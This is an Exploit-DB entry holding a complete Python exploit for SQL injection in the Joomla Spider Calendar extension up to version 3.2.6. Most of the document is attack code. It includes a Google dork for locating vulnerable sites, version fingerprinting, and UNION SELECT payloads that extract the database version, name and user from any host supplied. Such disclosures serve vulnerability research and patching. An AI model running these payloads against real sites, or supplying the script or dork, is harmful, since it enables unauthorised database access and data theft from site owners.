Joomla! Component Spider Calendar 3.2.6 - SQL Injection

EDB-ID:

34571

CVE:



Platform:

PHP

Published:

2014-09-08

#!/usr/bin/env python
#
#
# Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://web-dorado.com/
#
# Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329
#
# Dork Google: inurl:option=com_spidercalendar
#
# Date : 2014-08-31
#
# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#
#
#
######################
#
# PoC Exploit:
#
# http://localhost/joomla/index.php?option=com_spidercalendar&calendar_id=1 [SQLi]
#
#
# "calendar_id" and "calendar" variables are not sanitized.
# 
#
# Vulnerability Disclosure Timeline:
#
# 2014-08-31:  Discovered vulnerability
# 2014-09-04:  Vendor Notification
# 2014-09-05:  Vendor Response/Feedback 
# 2014-09-05:  Vendor Fix/Patch 
# 2014-09-05:  Public Disclosure

import codecs
import httplib
import re
import sys
import socket
import optparse

banner = """

   $$$$$\                                   $$\                  $$$$$$\            $$\       $$\                               
   \__$$ |                                  $$ |                $$  __$$\           \__|      $$ |                              
      $$ | $$$$$$\   $$$$$$\  $$$$$$\$$$$\  $$ | $$$$$$\        $$ /  \__| $$$$$$\  $$\  $$$$$$$ | $$$$$$\   $$$$$$\            
      $$ |$$  __$$\ $$  __$$\ $$  _$$  _$$\ $$ | \____$$\       \$$$$$$\  $$  __$$\ $$ |$$  __$$ |$$  __$$\ $$  __$$\           
$$\   $$ |$$ /  $$ |$$ /  $$ |$$ / $$ / $$ |$$ | $$$$$$$ |       \____$$\ $$ /  $$ |$$ |$$ /  $$ |$$$$$$$$ |$$ |  \__|          
$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ | $$ | $$ |$$ |$$  __$$ |      $$\   $$ |$$ |  $$ |$$ |$$ |  $$ |$$   ____|$$ |                
\$$$$$$  |\$$$$$$  |\$$$$$$  |$$ | $$ | $$ |$$ |\$$$$$$$ |      \$$$$$$  |$$$$$$$  |$$ |\$$$$$$$ |\$$$$$$$\ $$ |                
 \______/  \______/  \______/ \__| \__| \__|\__| \_______|       \______/ $$  ____/ \__| \_______| \_______|\__|                
                                                                          $$ |                                                  
                                                                          $$ |                                                  
                                                                          \__|                                                  

     $$$$$$\            $$\                           $$\                            $$$$$$\       $$$$$$\      $$$$$$\  
    $$  __$$\           $$ |                          $$ |                          $$ ___$$\     $$  __$$\    $$  __$$\ 
    $$ /  \__| $$$$$$\  $$ | $$$$$$\  $$$$$$$\   $$$$$$$ | $$$$$$\   $$$$$$\        \_/   $$ |    \__/  $$ |   $$ /  \__|
    $$ |       \____$$\ $$ |$$  __$$\ $$  __$$\ $$  __$$ | \____$$\ $$  __$$\         $$$$$ /      $$$$$$  |   $$$$$$$\  
    $$ |       $$$$$$$ |$$ |$$$$$$$$ |$$ |  $$ |$$ /  $$ | $$$$$$$ |$$ |  \__|        \___$$\     $$  ____/    $$  __$$\ 
    $$ |  $$\ $$  __$$ |$$ |$$   ____|$$ |  $$ |$$ |  $$ |$$  __$$ |$$ |            $$\   $$ |    $$ |         $$ /  $$ |
    \$$$$$$  |\$$$$$$$ |$$ |\$$$$$$$\ $$ |  $$ |\$$$$$$$ |\$$$$$$$ |$$ |            \$$$$$$  |$$\ $$$$$$$$\ $$\ $$$$$$  |
     \______/  \_______|\__| \_______|\__|  \__| \_______| \_______|\__|             \______/ \__|\________|\__|\______/ 
                                                                                                                     
                                                                                         j00ml4 Spid3r C4l3nd4r >= 2.x <= 3.2.6 SQLi

                                		           Written by:

                              				 Claudio Viviani

                           			       http://www.homelab.it

                            				  info@homelab.it
		                                       homelabit@protonmail.ch

                      			         https://www.facebook.com/homelabit
                      			            https://twitter.com/homelabit
                      			         https://plus.google.com/+HomelabIt1/
			                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

C0mm4nds = dict()
C0mm4nds['DB VERS'] = 'VERSION'
C0mm4nds['DB NAME'] = 'DATABASE'
C0mm4nds['DB USER'] = 'CURRENT_USER'

com_spidercalendar = "index.php?option=com_spidercalendar&calendar_id=1"
ver_spidercalendar = "administrator/components/com_spidercalendar/spidercalendar.xml"
vuln = 0

def cmdMySQL(cmd):
   SqlInjList = [
   # SQLi Spider Calendar 2.x
   '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Calendar 3.0
   '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   # SQLi Spider Calendar 3.2.x
   '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
   ]
   return SqlInjList

def checkProtocol(pr):

    parsedHost = ""
    PORT =  m_oOptions.port

    if pr[0:8] == "https://":
        parsedHost = pr[8:]

        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
            if PORT == 0:
                PORT = 443

        PROTO = httplib.HTTPSConnection(parsedHost, PORT)

    elif pr[0:7] == "http://":
        parsedHost = pr[7:]
        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
        if PORT == 0:
            PORT = 80

        PROTO = httplib.HTTPConnection(parsedHost, PORT)

    else:
        parsedHost = pr

        if parsedHost.endswith("/"):
            parsedHost = parsedHost.replace("/","")
        if PORT == 0:
            PORT = 80

        PROTO = httplib.HTTPConnection(parsedHost, PORT)

    return PROTO, parsedHost

def connection(addr, url_string):

    parsedHost = checkProtocol(addr)[1]
    PROTO =  checkProtocol(addr)[0]
    try:
        socket.gethostbyname(parsedHost)

    except socket.gaierror:
        print 'Hostname could not be resolved. Exiting'
        sys.exit()

    connection_req =  checkProtocol(addr)[0]

    try:
        connection_req.request('GET', url_string)
    except socket.error:
        print('Connection Error')
        sys.exit(1)

    response = connection_req.getresponse()
    reader = codecs.getreader("utf-8")(response)

    return {'response':response, 'reader':reader}


if __name__ == '__main__':
    m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]")
    m_oOpts.add_option('--host', '-H', action='store', type='string',
        help='The address of the host running Spider Calendar extension(required)')
    m_oOpts.add_option('--base', '-b', action='store', type='string', default="/",
	help='base dir joomla installation, default "/")')
    m_oOpts.add_option('--port', '-p', action='store', type='int', default=0,
        help='The port on which the daemon is running (default 80)')

    m_oOptions, remainder = m_oOpts.parse_args()
    m_nHost = m_oOptions.host
    m_nPort = m_oOptions.port
    m_nBase = m_oOptions.base

    if not m_nHost:
        print(banner)       
        print m_oOpts.format_help()
        sys.exit(1)

    print(banner)

    if m_nBase != "/":
	if m_nBase[0] == "/":
		m_nBase = m_nBase[1:]
		if m_nBase[-1] == "/":
			m_nBase = m_nBase[:-1]
	else:
		if m_nBase[-1] == "/":
			m_nBase = m_nBase[:-1]
	m_nBase = '/'+m_nBase+'/'

    # Start connection to host for Joomla Spider Calendar vulnerability
    response = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[0]
    reader = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[1]
    # Read connection code number
    getcode = response.status

    print("[+] Searching for Joomla Spider Calendar vulnerability...")
    print("[+]")
    
    if getcode != 404:
        for lines in reader:
            if not lines.find("You have an error in your SQL syntax;") == -1:
		print("[!] Boolean SQL injection vulnerability FOUND!")
                print("[+]")
                print("[+] Detection version in progress....")
		print("[+]")
	
                try:
                    response = connection(m_nHost, m_nBase+ver_spidercalendar).values()[0]
                    reader = connection(m_nHost, m_nBase+ver_spidercalendar).values()[1]
                    getcode = response.status
                    if getcode != 404:
                        for line_version in reader:
                           if not line_version.find("<version>") == -1:
                               VER = re.compile('>(.*?)<').search(line_version).group(1)
                               VER_REP = VER.replace(".","")
                               if int(VER_REP[0]) == 1 or int(VER_REP) > 326:
                                   print("[X] VERSION: "+VER)
                                   print("[X] Joomla Spider Calendar <= 1 or >= 3.2.7 are not vulnerable")
                                   sys.exit(1)
                               elif int(VER_REP[0]) == 2:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 30:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP[0]) == 3:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               else:
                                   print("[-] EXTENSION VERSION: Unknown :(")
                                   sys.exit(0)

                        if vuln == 0:
                            # VERSION NOT VULNERABLE :(
                            print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall-")
                            sys.exit(1)
                        else:
                            sys.exit(0)
                except socket.error:
                    print('[X] Connection was lost please retry')
                    sys.exit(1)

	# NO SQL BLIND DETECTED
	print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall")
	sys.exit(1)
    else:
        print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND')
        sys.exit(1)